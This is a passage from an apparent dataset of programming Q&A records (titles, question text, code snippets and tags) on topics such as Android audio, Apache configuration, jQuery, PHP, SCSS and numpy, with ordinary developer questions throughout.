am writing a very simple application that will just play various sounds upon
interacting with widgets. I am using MediaPlayer to playback the sounds.\nMy
question is should i use singleton pattern for MediaPlayer? I want just one object
of MediaPlayer to be shared, but the confusion comes from the following link \
nhttps://developer.android.com/reference/android/media/MediaPlayer.html\nwhich says
that:\n\nIt is also recommended that once a MediaPlayer object is no longer\n
being used, call release() immediately so that resources used by the\n internal
player engine associated with the MediaPlayer object can be\n released
immediately. Resource may include singleton resources such as\n hardware
acceleration components and failure to call release() may\n cause subsequent
instances of MediaPlayer objects to fallback to\n software implementations or fail
altogether.\n\nI don't want to run MediaPlayer as service for now.\nSo what should
i do? Should I use the Singleton Pattern for MediaPlayer?\nGreat Thanks for any
help.\n", "", "android singleton mediaplayer"], "3491414": ["EmberJs: render a
template within a handlebars-helper into its parent element", "Because I have the
name of a View inside a variable I'm using a handlebars helper to get it rendered.\
nSo, I have an object as follows (all simplified of course)\n\nNext, I have the
following template\n\nAnd the Handlebars helper\n\nThe problem is that I try to
insert the template into the element with id \"container\", which doesn't exist at
that moment. What are the possibilities to fix this. For example, is it possible to
get a HTML-string from the template and return this instead ?\n", "config =
Ember.Object.create({ view: \"MyTplView\"}) ;\n", "templates ember.js rendering
handlebars.js"], "4421582": ["apache2 configuration for blog.example.com not
working", "I have my blog running at a server with ip 10.10.10.10(not real).\
nThere is only one virtual host for this blog on the server.\nHere is the apache
configuration:\nVirtualHost star:80\nServerName blog.example.com\nServerAlias
blog.example.com\nServerAdmin [email protected]\nDocumentRoot /var/www/\nRewriteEngine
on\nRewriteCond %{HTTP_HOST} ^[^.]+.example.com$\nRewriteRule
^(.+) %{HTTP_HOST}$1 [C]\nRewriteRule ^([^.]
+).example.com/(.*) /var/www/$1\nDirectoryIndex index.php \nDirectory /var/www/\
n AllowOverride All\n Order Deny,Allow\n Allow from
all\n/Directory\n/VirtualHost\nMy DNS blog.example.com is pointing to this ip
address 10.10.10.10 .\nWhen I load first time blog.example.com it loads correct
with no problems. But whenever i click a link it shows url like
http://10.10.10.10/login.php etc.\nI am a newbie. Please help me set up this.\nIs
there any problem with the rewrite rule ?\n", "", "apache2 virtualhost"],
"5390176": ["Creating a generic, re-usable, Windows Phone 7 XAML form, and using it
from a class library", "Ok, so I'm newish to Windows Phone 7/Silverlight
programming, and started what I thought would be a fairly straightfoward process,
and have unfortunately run into a (hopefully!) small issue.\nBasically, I'm trying
to create a generic XAML form, e.g., an \"About.xaml\" form which is standard
to all applications in my application suite. The idea is that this \"About\"
screen looks the same, behaves the same, only difference being a few fields (e.g.,
application name etc) which are populated by the calling application. Plus, because
it's shared, any new features/bug fixes/enhancements benefit all apps (i.e., re-use
etc). My initial thoughts are that this XAML form should 'live' in a class library,
which can be referenced by the various applications.\nI've created a sample
solution with two projects to highlight the problem.\n\nFirst off, I create a
Windows Phone Panorama Application, called it \"WindowsPhonePanoramaApplication1\".
Next, I create a Windows Phone Class Library, which I
call \"WindowsPhoneClassLibrary1\".\nIn \"WindowsPhoneClassLibrary1\", I create a
new form class of type \"Windows Phone Portrait Page\", and call
it \"About.xaml\".\nTo recreate the problem, I picked any event, e.g.,
the \"SelectionChanged\" event for the list box on the first page of the Panorama
(any old event will do, just need a means of
calling \"NavigationService.Navigate(...))\n\nIn the code behind, I have the
following code for the SelectionChanged event:\n\nWhen I run the application and
click on any of the items in the listbox, the method is called, and the
application stops at the line:\n\nIn the parameter, looking at the object in
there, the following error is shown:\n\nI'm pretty certain the reason I get this
error is because the \"About.xaml\" 'lives' in the class
library \"WindowsPhoneClassLibrary1\", and not \"WindowsPhonePanoramaApplication1\"
where the application is running from.\nI have checked the XAP file that gets
created for \"WindowsPhonePanoramaApplication1\", and sure enough it has the
assembly \"WindowsPhoneClassLibrary1.dll\" contained within it. Also, I found a
link on Jeff Prosise's blog, which highlights a way to navigate to a XAML form in
an external assembly in Silverlight 4 (using the interface), however Windows Phone
7 is based on Silverlight 3, and from searching the WP7 documentation, it doesn't
appear to have that interface defined. I have had a browse of the
URIMapping/URIMapper classes, but can't find anything obvious that would make the
look in the class library.\nThe question is, using Silverlight 3/Silverlight for
Windows Phone 7, how do I 'tell' the \"NavigationService\"
in \"WindowsPhonePanoramaApplication1\" to 'look in' the class
library \"WindowsPhoneClassLibrary1\" for the \"About.xaml\" form? Surely, there
must be some way of re-using XAML forms from a class library?\nAlso, if the above
approach is simply the wrong way of going about achieving re-use of generic XAML
forms, I'd be interested in any help/links that would point me in the right
direction.\nThanks in advance for any help, it would be much appreciated...\n", "
<!--Panorama item one-->\n <controls:PanoramaItem Header=\"first item\">\n
<!--Double line list with text wrapping-->\n <ListBox Margin=\"0,0,-12,0\"
ItemsSource=\"{Binding Items}\" SelectionChanged=\"ListBox_SelectionChanged\">\n
<ListBox.ItemTemplate>\n <DataTemplate>\n
<StackPanel Margin=\"0,0,0,17\" Width=\"432\">\n <TextBlock
Text=\"{Binding LineOne}\" TextWrapping=\"Wrap\" Style=\"{StaticResource
PhoneTextExtraLargeStyle}\"/>\n <TextBlock Text=\"{Binding
LineTwo}\" TextWrapping=\"Wrap\" Margin=\"12,-6,12,0\" Style=\"{StaticResource
PhoneTextSubtleStyle}\"/>\n </StackPanel>\n
</DataTemplate>\n </ListBox.ItemTemplate>\n </ListBox>\n
</controls:PanoramaItem>\n", "xaml windows-phone-7 silverlight-3.0 navigation
uri"], "2427692": ["Call the same jQuery function both on load and on click", "In
my \"update\" pages I have often the need to call the same jQuery function both on
page load and on click of some checkbox, mostly like this:\n\nOn page load, the
checkbox could be checked or not depending on database values: that's why I have
the need to launch the foo(); on load\nWell, this works fine, but I always wondered
if... there is a better or most elegant solution?\nThanks in advance\n", "function
foo(){\n if ($('#mycheckbox').is(':checked')){\n $('.myclass').hide();\n
} else {\n $('.myclass').show();\n }\n}\n\n$(function() {\n\n
foo(); // this is launched on load\n $('#mycheckbox').click(function(){\n
foo(); // this is launched on checkbox click\n }) \n\n});\n", "jquery function
checkbox load click"], "1616553": ["tinyMCE Removing MS Word tags", "I am using
tinymce Version: 3.3.7 and when I go to paste \"as plain text\" from tinymce, I
still get mso tags. Is it possible to have these removed by some setting in tinyMCE
or do I need to strip the tags with php?\n", "", "ms-word tinymce copy-paste"],
"1201937": ["CakePHP. How can i make a model test in a table with another primary
key?", "I have this table\n\nBut when I try test a model in cakephp, it fails
because the table has two autoincrement attributes. The following query\n\nraise
this error:\n\nI have in the model class \n\nBut I don't know how to make the field
ID not having an autoincrement attribute, and I can't change the table structure.\
n", "CREATE TABLE myexamples.problems (\n id INT,\n name VARCHAR(45) NULL ,\n
pk_id INT AUTO_INCREMENT PRIMARY KEY\n);\n", "sql testing cakephp primary-key
autoincrement"], "4739489": ["Advantages of ActionScript3 over actionscript2",
"Anyone can explain the Advantages of As3 overAs2.\n", "", "actionscript-3
actionscript-2"], "1420798": ["Reading Core Audio as an array of floats", "I'm
trying to read a .caf file as an array of float values in order to perform an FFT
and retrieve some pitch data. The .caf file is saved as LinearPCM using the
AVRecorder class. How in the world do I go about doing this? Reading up on the
structure of the .caf files I understand that their is a file header which will
need to be ignored, as well as many headers for individual 'chunks' of audio data.
Is there any way to determine where the headers are? The recorded audio files are
only going to be a few seconds long so their shouldn't be more than one chunk, but
I can't seem to find a reference for .caf structure which goes into more details
than the Apple Reference Library.\n", "", "iphone objective-c core-audio"],
"3029834": ["Upgrade from CMS 6.5 with shared source item buckets to CMS 7.0...
how?", "We are currently running Sitecore CMS 6.5 (120706) with the shared source
Item Buckets module installed from here: \nhttps://github.com/jerrong/Sitecore-
Item-Buckets/tree/master/sitecorepackages/ItemBuckets%206.5%20NET_40/Final\nWe wish
to upgrade to CMS version 7.0. I'm told that there is currently no upgrade path and
to expect one in a few months. However we would prefer not to have to wait on
this.\nItem buckets is used only for a single section of our site. Everything else
is delivered via the standard content tree.\nWe have tried upgrading to 6.6 first
as required by the documented upgrade procedure, despite it mentioning later in the
instructions that the shared source item buckets module is unfortunately
unsupported for upgrade. Confirmed that this definitely does not work, we receive
the error: \n\nWe also tried disabling Item Buckets by removing the .config files
etc. but we had further problems, presumably because of the actual content/data
template changes that were made by the Item Buckets update.\nWe are thinking of
trying a clean install of CMS 7.0, and then migrating our custom code base, items
in the content tree (including data templates, layouts, renderings, etc) with
Sitecore packages to work around the issue. \nCan someone validate this approach,
or better still suggest a much less painful solution!?\nMany Thanks\n", "Exception
Details: System.IO.FileLoadException: Could not load file or assembly 'Lucene.Net,
Version=2.3.1.3, Culture=neutral, PublicKeyToken=null' or one of its dependencies.
The located assembly's manifest definition does not match the assembly reference.
(Exception from HRESULT: 0x80131040)\n", "sitecore upgrade sitecore6 sitecore7"],
"1553890": ["unset range of keys in an array", "How can i unset a range of keys
between say 70 to 80 in an array like this?\n\n", "[63] => Computer Science and
Informatics\n[64] => Dentistry\n[65] => Development Studies\n[66] => Drama, Dance
and Performing Arts\n[67] => Earth Systems and Environmental Sciences\n[68] =>
Economics and Econometrics\n[69] => Education\n[70] => Electrical and Electronic
Engineering\n[71] => English Language and Literature\n[72] => Epidemiology and
Public Health\n[73] => European Studies\n[74] => French\n[75] => General
Engineering and Mineral & Mining Engineering\n[76] => Geography and Environmental
Studies\n[77] => Geography and Environmental Studies\n[78] => German, Dutch and
Scandinavian Languages\n[79] => Health Services Research\n[80] => History\n[81] =>
History of Art, Architecture and Design\n[82] => Iberian and Latin American
Languages\n[83] => Infection and Immunology\n[84] => Italian\n[85] => Law\n[86] =>
Library and Information Management\n[87] => Linguistics\n[88] => Mechanical,
Aeronautical and Manufacturing Engineering\n[89] => Metallurgy and Materials\n[90]
=> Middle Eastern and African Studies\n", "php arrays key unset"], "357488": ["SCSS
Interpolation in mixin call", "I want to make a simple interpolation into a mixin
call:\n\n\nerror sass/soboo2.scss (Line 14: Invalid CSS after \" @include all-\":\
n expected \"}\", was \"#{$model}-sprites;\")\n\nI've also tried a few syntax
variations that come across internet:\n\nDoesn't work... any suggestions??\n",
"$models: \"square\", \"square-green\", \"circle\";\
n$services: \"facebook\", \"twitter\", \"linkedin\", \"gplus\", \"feed\";\n\n@each
$model in $models {\n @include all-#{$model}-sprites;\n @each $service
in $services {\n #{$model}-#{$service} {\n
&:hover{ @extend .#{$model}-#{$service}-hover;};\n }\n }\n}\n", "css
sass"], "5590888": ["How can I control the order that emails are sent from an
ASP.NET application", "I am trying to control the order that emails are sent from a
web site.\nI have code that sends email1 and email2 using the same mechanism :
System.Net.Mail.SmtpClient.\nThe emails always arrive in the order email2, email1
(even if I send them email2 and email1).\nI have tried setting the timeout
properties as suggested here\nhttp://forums.microsoft.com/MSDN/ShowPost.aspx?
PostID=166439&.\nlike this\nPublic Class SmtpClientAdapter\n Inherits
SmtpClient\n\nEnd Class\nI have been trying to discover is I can make use of the
SMTP header deferred-delivery\nhttp://tools.ietf.org/html/rfc4021#section-2.1.65\
nDoes anyone know if I can use this header from ASP.NET?\nDerek\n", "Public Sub
SendEmail(ByVal message As System.Net.Mail.MailMessage)\n\n Host =
Parameter.Data.GetString(\"SMTPServer\")\n message.IsBodyHtml = True\n\n
MyBase.ServicePoint.MaxIdleTime = 1\n MyBase.ServicePoint.ConnectionLimit = 1\n
MyBase.Send(message)\n\nEnd Sub\n", "asp.net smtp"], "61104": ["On Android ICS
multiple choice is broken in one of my ListViews", "My android flash cards app has
a bug that only occurs in ICS. The checkboxes behave like radiobuttons, like it was
single-choice.\n\nAny idea where I could look for a solution?\nWith the
SimpleCursorAdapter, the Checkboxes behave like RadioButtons. With the ArrayAdapter
they behave right.\nI'm changing to use ArrayAdapter now but would still like to
know what's going on here.\n", "public class CardSetListActivity extends Activity
{\n @Override\n public void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n
setContentView(R.layout.card_set_list);\n\n ListAdapter adapter =
getSimpleCursorAdapter();\n // ListAdapter adapter = getArrayAdapter();\n\n
ListView list = (ListView) findViewById(R.id.listView);\n
list.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE);\n
list.setAdapter(adapter);\n list.setItemsCanFocus(false);\n }\n\n
private ListAdapter getSimpleCursorAdapter() {\n CardsDbAdapter dbAdapter =
CardsDbAdapter.getInstance(this);\n Cursor cursor =
dbAdapter.fetchAllCardSets();\n startManagingCursor(cursor);\n
String[] fromColumns = new String[] { CardsDbAdapter.COL_CARD_SET };\n int[]
toResources = new int[] { android.R.id.text1 };\n return new
SimpleCursorAdapter(this, android.R.layout.simple_list_item_multiple_choice,
cursor, fromColumns, toResources);\n }\n\n private ListAdapter
getArrayAdapter() {\n String[] GENRES = new String[]
{ \"Action\", \"Adventure\", \"Animation\" };\n return new
ArrayAdapter<String>(this, android.R.layout.simple_list_item_multiple_choice,
GENRES);\n }\n}\n", "android android-listview ice-cream-sandwich"], "5964737":
["Reference for Machin's Formula", "This is the formula by John Machin:\n\\
begin{equation}\n\\frac{\\pi}{4} = 4 \\arctan \\frac{1}{5} - \\arctan \\frac{1}
{239}\n\\end{equation}\nThis topic fascinates me, and I would like to know
something more. For example, I do not know how this formula obtained, or do not
know why it represent an algorithm that converges fast. \nI'd get you some
reference (online or not) answer my curiosity, please.\nThank you very much\n", "",
"reference-request"], "625702": ["Instance variable being assigned mistakenly", "I
have a Step model and a MasterStep model. In my controller, I use this and there
isn't any assignment that uses MasterStep anywhere.\n\nThis is my error log. Notice
the MasterCourse:\nhttp://pastie.org/2252224\nHere is the relevant method: \
nhttp://pastie.org/pastes/2252198/text\nI can't figure out how it's getting a
MasterStep object, and in the whole codebase, I can't find anything that's
assigning @step to a MasterStep object.\nHow is that even possible?\n", "@step =
Step.all(:conditions => {:course_id => params[:id], :current_state => :incomplete},
:order => :id).first\n", "ruby-on-rails ruby ruby-on-rails-3"], "888668": ["Pre-
Commit Hook - Validate Filename", "im trying to validate a filename on first
commit. \nIn the repository i have this files:\n change1.sql\n change2.sql\n
[...]\nUsers cant create files whit the same filename.\nHow can i validate this in
pre-commit?\nPlease help.\n", "", "svn tortoisesvn svn-hooks"], "2752058": ["Unused
bits in pointer (iPhone)", "Box2d objects have a \n\nfield where the user can store
data. Typically you store a pointer to another object, for instance a pointer to a
sprite that shall be updated with location information every system tick.\nI want
to store a pointer to another object, but I would be glad if I also could store one
extra bit of information. Can I do that in the most significant bit of the pointer?
Could the most significant bit of an object pointer be set? I mean the internal
memory is only 512 MB (I guess). \nMaybe the app be rejected because of this? It's
not completely future proof, and it's a bit of a hack...\n", "void* m_userData",
"iphone pointers box2d"], "5095016": ["Storing custom data in dom elements", "Is
this wrong? If so why?\n\nI understand how to use the data attributes, but I don't
want to muddy up my dom with all those attributes.\n", "var elm =
document.getElementById(\"myElm\");\nelm.customValue = {attr1 : \"test\",
attr2 : \"test\"};\n", "javascript dom"], "5375201": ["What are some ways to have
fun with a large amount of data? (ie, the Twitter, del.icio.us etc. APIs)",
"Twitter, Google, Amazon, del.icio.us etc. all give you a lot of data to play with,
all for free. There's also a lot of textual data available through initiatives like
Project Gutenberg. And that, it seems, is just the tip of the iceberg.\nI have been
wondering how you could use this data for fun. I'm a first year IT student, so I
have no knowledge of statistics, machine learning, collaborative filtering etc. My
interest in this area was piqued by the book Programming Collective Intelligence by
Toby Segaran, and now I want to take a deeper look at what you can do with data. I
don't know where to start. Any ideas?\nI have also been pondering whether I should
go and buy something like Paradigms of Artificial Intelligence Programming. Is it
worth the trip across the city?\n", "", "twitter statistics artificial-intelligence
machine-learning"], "5570302": ["Facebook access_token error in Blackberry", "In my
Blackberry app using phonegap, I have Facebook share feature and I am doing this
using phonegap's childbrowser. After I login to Facebook, access_token is to be
requeted. For this I am using the following code :\n\nBut the control is not going
inside the success section instead it is going inside error section. What may be
the problem. When I try to find the error using \"\", it is coming as undefined.
Please help me to resolve this.\n", "$.ajax({\n
url:'https://graph.facebook.com/oauth/access_token?
client_id='+my_client_id+'&client_secret='+my_secret+'&redirect_uri=http://
www.facebook.com/connect/login_success.html',\n data: {},\n
dataType: 'text',\n type: 'POST',\n success: function(data,
status){\n alert(22);\n // We store our token in a
localStorage Item called facebook_token\n
localStorage.setItem(facebook_token, data.split(\"=\")[1]);\n
window.plugins.childBrowser.close();\n\n app.init();\
n },\n error: function(error) {\n
alert(\"fail\"+error['message']);\n
window.plugins.childBrowser.close();\n }\n });\n", "javascript
facebook phonegap blackberry"], "2721009": ["zsh autocompletes folders that don't
exist", "Just started using zsh with oh-my-zsh, and I noticed something odd when
autocompleting with .\nSuppose I have a folder:\n\nWhen I used bash, I could type:\
n\nAnd nothing would happen because nothing in starts with , but if I do the same
thing in zsh, it autocompletes to the word , which I'm assuming is some directory
somewhere else in the file system?\nI'm not sure if something is set up wrong, or
if this is something about the way autocomplete works in zsh that I don't
understand.\nEDIT:\nOutput of CTRL+Xh:\n\n", "cd", "zsh"], "5890929": ["disable
Opera function key in javascript", "I'm writing javascript code for a web emulator
containing function keys. The user is able to press keyboard function keys to
process something in the emulator, I used stopPropagation and preventDefault
javascript function to stop/cancel browsers invoking their function key shortcut
(e.g. F1 will invoke Firefox to open its help page) and the code works fine under
Firefox and Chrome. But Opera didn't work, Opera invokes both my function and
launches Opera help page. I'm using latest Opera 10.5 here. Can anyone help ?\nthis
code is in FireFox javascript handle and this is attached in main body HTML
onkeydown event: \n\nIE used different code for CancelKey, which use
ev.CancelBubble = true and ev.returnValue = false.\n", "function KeyHandler(ev)\n{\
n if(112==ev.keyCode) {InvokeF1();return CancelKey(ev);}\n if(113==ev.keyCode)
{InvokeF2();return CancelKey(ev);}\n ...\n}\n\nfunction CancelKey(ev)\n{\n
ev.stopPropagation();\n ev.preventDefault();\n}\n", "javascript keyboard-
shortcuts opera"], "5091519": ["Computer shuts off after heatsink upgrade", "I just
recently replaced the stock heatsink that came with the AMD FX-8150 with a Cooler
Master Hyper 212 Evo and have been having a lot of issues with my computer ever
since. \nI first noticed the problem when I was playing Skyrim, the computer just
shut off after an hour of gameplay.
I tried again and it happened even faster. So I tried a prime95 test to see if it
was overheating and yep, it sure was. \nI ran a Large FFTs tourture test in Prime95
and it lasted around 45 minutes until the computer overheated and shut down. Two
out of the eight workers halted due to hardware issues and only six workers padded
the 128k test. Here are two pictures with the amount of TIM I applied: \nAnd here
is the Prime95 error log:\n\n", "[Wed Nov 07 12:19:03 2012]\nFATAL ERROR: Final
result was 00000000, expected: EEEC1181.\nHardware failure detected, consult
stress.txt file.\nSelf-test 480K passed!\nSelf-test 480K passed!\nSelf-test 480K
passed!\nSelf-test 480K passed!\nSelf-test 480K passed!\nSelf-test 480K passed!\
nSelf-test 480K passed!\n[Wed Nov 07 12:25:38 2012]\nFATAL ERROR: Rounding was 0.5,
expected less than 0.4\nHardware failure detected, consult stress.txt file.\n[Wed
Nov 07 12:37:36 2012]\nSelf-test 128K passed!\nSelf-test 128K passed!\nSelf-test
128K passed!\nSelf-test 128K passed!\nSelf-test 128K passed!\nSelf-test 128K
passed!\n", "cpu hardware-failure overheating heatsink prime95"], "1195117": ["How
do i patch enumerables with Odata.Delta with Webapi", "I\u00b4m trying to use
System.Web.Http.OData.Delta to implement PATCH methods in ASP.NET Web API services,
but it seems unable to apply changes to properties of type IEnumerable. \nThis is
my code:\n\nThe patch is implemented like this:\n\nMy problem is that when i patch
the informations, the HomeAddress and the AdditionalDocuments are being ignored. I
found another article(How do I patch enumerables with System.Web.Http.OData.Delta?)
here, but i couldn\u00b4t implement the solution because i didn\u00b4t know how to
internalize the Delta code. May someone help me?\n", "public class Person\n{\n
[Required]\n public string Name { get; set; }\n\n public
IList<Document> AdditionalDocuments { get; set; }\n\n public HomeAddress
HomeAddress { get; set; }\n}\n\n\npublic class HomeAddress\n{\n public string
StreetName { get; set; }\n}\n\npublic class Document\n{\n public string Value
{ get; set; }\n}\n", "c# asp.net-web-api odata"], "4466988": ["Dual or Multiple
Callback Design Pattern with JavaScript / jQuery", "I have a callback function that
I'd like to execute after 2 separate calls have successfully loaded. \nI'm using
the below design, but it feels messy, and the use of a named function feels very
un-jQuery\n\nIs there a better or more elegant way to do execute a single callback
after multiple asynchronous calls have completed? \n", "$.getScript", "javascript
jquery design-patterns callback"], "2524276": ["WCF + WF + IIS 7 Virtual Path
Error", "I'm trying something new to me using WCF and WWF to build up a set of
services for use by a few client applications. I'm create 2 libraries (Workflows
and Services) and 1 Web Application called API. The web application is hosted
within IIS 7.\nIn the API web application, I've added a file called
InventoryService.svc file that has Service set to my Workflow Service type
(existing within the Workflows library) and Host is set
to \"System.ServiceModel.Activiation.WorkflowServiceHostFactory\".\nI'm pretty sure
the config is correct but here it is:\n\nEach attempt I make at starting the
application and browsing to InventoryService.svc in my browers results in an
exception with a message of:\nThe virtual path '/IS%20API/InventoryService.svc'
maps to another application, which is not allowed.\nI've never seen this sort of
excepion before. Can anyone lend any insight? The stack trace is below. Thanks!\n\
n.SVC File Content\n<%@ ServiceHost Language=\"C#\" Debug=\"true\" \n
Service=\"Workflows.SyncronizeInventory\"\n
Factory=\"System.ServiceModel.Activation.WorkflowServiceHostFactory\" %>\n",
"<system.serviceModel>\n <behaviors>\n <serviceBehaviors>\n <behavior
name=\"SynchronizeInventoryBehavior\">\n <serviceMetadata
httpGetEnabled=\"true\" />\n <serviceDebug
includeExceptionDetailInFaults=\"false\" />\n <serviceCredentials>\n
<windowsAuthentication\n allowAnonymousLogons=\"false\"\n
includeWindowsGroups=\"true\" />\n </serviceCredentials>\n </behavior>\n
</serviceBehaviors>\n </behaviors>\n <services>\n <service
name=\"Workflows.SyncronizeInventory\" \n
behaviorConfiguration=\"SynchronizeInventoryBehavior\">\n <endpoint
address=\"\"\n binding=\"wsHttpContextBinding\"\n
contract=\"Services.IInventoryService\">\n </endpoint>\n <endpoint
address=\"mex\"\n binding=\"mexHttpBinding\"\n
contract=\"IMetadataExchange\">\n </endpoint>\n </service>\n
</services>\n</system.serviceModel>\n", "wcf iis7 workflow-foundation"], "2354507":
["linux install without yum or gcc", "Hulo All, Linux newb here. I just ssh'ed
into my first shiny new CentOS virtual server to install a LAMP stack. No yum, so
I had to install yum. Yum needs gettext, so it got gettext. Gettext ./configure
fails because gcc's not installed. All the directions I've found so far indicate
that I should use yum to install GCC. Am I missing something here?\nApparently I
got what I paid for when I asked for the minimal service. What's the approach here
for getting things on track so that I can follow basic LAMP installation
instructions?\nLinks to web pages are gladly accepted.\nUPDATE: replies:\n\nBut
this site says that my VServer can't be CentOS if yum is missing. It might be a
Plesk VServer.\n", "cat /etc/issue", "installation yum linux lamp"], "5015534":
["Debugging Apache on Debian, where are the error logs?", "I'm using a Debian
server that already has Apache, mod_wsgi and a bunch of virtual hosts successfully
running on it. \nI installed my forum app (Django's OSQA) and following the OSQA
instructions, I then created an Apache config file that specified as the new sub-
domain. I also created a .wsgi file for the app, and pointed at it. I then
restarted Apache. \nHowever, when I go to the new sub-domain, I get a 404 error
message. \nAm I missing a step above? Or is simply creating a new Apache config
file in enough to tell Apache about a new sub-domain?\nIf there's something else
going wrong, how can I debug it? The and specified in the config file are both
blank. , which I guess is Apache-wide configuration, specifies , but this is yet
another blank file. \n", "ServerName", "debian apache logging"], "3636871": ["How
to parse a SAML assertion request in .Net", "I'm trying to implement a SAML SSO
solution in .Net, but I'm having a problem parsing the assertion.\nI have a sample
assertion (looks like data as text) and corresponding file.\nI want to load the
keys from the and decrypt the assertion to an XML document.\nSo far I think I'm
reading the keys correctly:\n\nThen I try to parse the assertion I get a problem:\
n\nThat last statement throws an exception, stating that it can't parse the XML
content.\nI think this means that I'm missing a step decrypting the assertion -
getting the as text converted to a SAML format XML document.\nAnyone know how to
add this step? Am I missing something else?\n", "byte[]", ".net single-sign-on
x509certificate saml pkcs7"], "2427690": ["How to make Windows 2008 R2 see 4 CPU
cores, with two single core processors , Hyperthreading enabled", "I had server
with old Xeon DP and Windows 2008 R2 , With hyperthreading enabled OS saw 2 CPU
cores. Recently I've added second same Xeon DP , but OS steel sees 2 CPU cores.\nI
did uninstall all cpu's as in Microsoft KB (tried reinstall also).\nThe situation
is : Two same processors are in server.\n\nWhen hyperyhreading is enabled, OS sees
1 processor (in system info\nwindow) with 2 CPU cores (in task manager). (device
manager shows 4\nCPUs) \nWhen HyperThreading is disabled, OS sees 2 processors
(in system info\nwindows) with 2 CPU cores (in task manager). (device manager shows
2 \nCPUs)\n\nHow to make Windows 2008 R2 see 4 CPU cores, with two single core
hyperthreading-enabled processors ?\n", "", "windows-server-2008-r2 cpu
hyperthreading"], "3871426": ["SSM doesnt allow me to edit a Datetimeoffset field
in edit top 200", "\nSQLserver version\n Microsoft SQL Server Management Studio
10.0.5500.0\nMicrosoft Analysis Services Client Tools
10.0.5500.0\nMicrosoft Data Access Components (MDAC)
6.1.7601.17514\nMicrosoft MSXML 3.0 4.0 6.0 \nMicrosoft
Internet Explorer 9.0.8112.16421\nMicrosoft .NET Framework
2.0.50727.5456\nOperating System 6.1.7601\n\nTable
Definition:\n\nI have a constraint as follows: \n\nwhich seems to work.\nEdit 200
shows the values just fine. I just can't edit them.\nI get this error\n \nI was
trying to change the or and not the .\nI can't even delete the value even though
is allowed .\nWhat am I doing wrong ? or Is this an SSMS bug?\n", "CREATE TABLE
[dbo].[UsersInRoles](\n[UserId] [uniqueidentifier] NOT NULL,\n[RoleId]
[uniqueidentifier] NOT NULL,\n[FromDateTime] [datetimeoffset](7) NOT NULL,\
n[ToDateTime] [datetimeoffset](7) NULL,\n[IsActive] [bit] NOT NULL\n", "ssms
datetimeoffset"], "2377272": ["Solving $n!=p^r-p$ with $p$ prime", "A while ago, I
was told of this exercise in Pollack's book, \"Not always buried deep.\" I think it
is exercise 3 in chapter 1, but I do not own a copy of the book, so I cannot give
more precise references. \nI have heard from different people that the exercise is
harder than intended, and the reference given in the book does not quite prove the
statement. I was hoping somebody knew of a reference, or sees how to solve it.\nThe
question is to show the following. (I think this is then applied to show some
estimates on the number of primes in an interval, but this is the part I am
interested in.)\n\nIf
$n\\ge 6$ and $2\\le k\\le n$, then $\\frac{n!}k+1$ has a prime factor larger than
$n$.\n\nTowards a contradiction, suppose that this is not the case. If $p$ is a
prime factor of $(n!/k)+1$, then we are assuming that $p\\le n$ and since $p\\mid
n!+k$, then $p\\mid k$. In fact, $p=k$, or else $p$ appears in the factorization of
$n!/k$. So we are saying that $(n!/p)+1$ is a power of $p$, and we are led to the
equation $$ n! = p^r-p $$ from the title. Conversely, any solution to this equation
leads to a pair $(n,k)$ contradicting the statement of the question, except for the
fact that perhaps $n<6$.\nNow, the above is on the trivial side of things but
unfortunately I do not see how to continue. (We have that $n<2p$. Perhaps Stirling
can be somehow used to bound the size of $r$?)\nNote that $n\\ge 6$ needs to be
used somehow, as otherwise we have counterexamples:\n\nIf $n=2$, we have $2!=2^2-
2$.\nIf $n=3$, we have $3!=2^3-2=3^2-3$.\nIf $n=4$, we have $4!=3^3-3$.\nIf $n=5$,
we have $5!=5^3-5$.\n\n", "", "number-theory"], "2460679": ["Emailing form checkbox
values with PHP", "I've looked and found several similar questions but can't seem
to make the solutions work for me. If someone could point out what I'm missing that
would be great.\nBasically, I have a form and PHP that checks to see that the
fields have been filled out and then validates them. Then I email them. I have
everything working except it only emails the last checked value, instead of all of
them. I believe my issue is when I add the array to the body for email. Here's my
code for that portion:\n\nI've tried this as well:\n\nHere's that portion of the
form:\n\nSo, I think I'm just missing something in my syntax adding the array to
the body. Let me know! Thanks in advance for any help!\n", "if
(function_exists('htmlspecialchars_decode')) $message[2] =
htmlspecialchars_decode($message[2], ENT_QUOTES); \n\n$body = \"$name[0]:
$name[2]\\r\\n\\r\\n\";\n$body .= \"$email[0]: $email[2]\\r\\n\\r\\n\";\
n$body .= \"$phone[0]: $phone[2]\\r\\n\\r\\n\";\n$body .= \"$service: $service\\
n\";\n$body .= \"$message[0]:\\r\\n$message[2]\\r\\n\";\n\nif (!$from) $from_value
= $email[2];\nelse $from_value =
$from;\n\nrequire_once('formfiles2/class.phpmailer.php');\n\n$mail = new
PHPMailer();\n\n$mail->SetFrom($from_value); \n$mail->AddReplyTo($email[2]);\
n$mail->Subject = \"$subject\";\n$mail->Body = $body;\n$mail->AddAddress($to);\n\
nif(!$mail->Send()) {\n echo \"Mailer Error: \" . $mail->ErrorInfo;\n}\n", "php
arrays forms checkbox"], "2440903": ["jQuery Mobile - filter data-filtertext AND
text", "if I have a value in data-filtertext, jQuery Mobile ignores the normal text
of the row. Is there any way that the search filters the data-filtertext AND the
normal text instead of only data-filtertext?\n\n", "<li data-
filtertext=\"value\"><a href=\"#\">content</a></li>\n", "javascript jquery mobile
jquery-mobile filter"], "4186715": ["Sending screen feed as camera output?",
"Basically I'm looking for a way to send my screen feed over a video chat rather
than the webcam feed itself.\nFor Example:\nDuring a Skype Video Call, I would be
showing the other party a realtime feed from my screen while I talked to them and
walked them through what I was doing.\nI know there is third party software that
can do this, but I was wondering if there was a way to send the screen through
Skype, or a similar video chat client.\n", "", "video skype webcam chat feed"],
"2820206": ["Emacs create cursor", "Is there a way to create an
additional \"dummy\" cursor in Emacs (preferably multiple)? Ideally I'd like to be
able to set its color separately from the original cursor and set its position.
Then I'd have the regular cursor that behaves normally, and I'd have multiple extra
cursors whose position has to be set by some other means.\n", "", "emacs"],
"2193905": ["Numpy integer nan", "Is there a way to store NaN in a Numpy array of
integers?\nI get: \n\n", "a=np.array([1],dtype=long)\na[0]=np.nan\n\nTraceback
(most recent call last):\n File \"<stdin>\", line 1, in <module>\nValueError:
cannot convert float NaN to integer\n", "numpy integer nan"], "1509725": ["How i
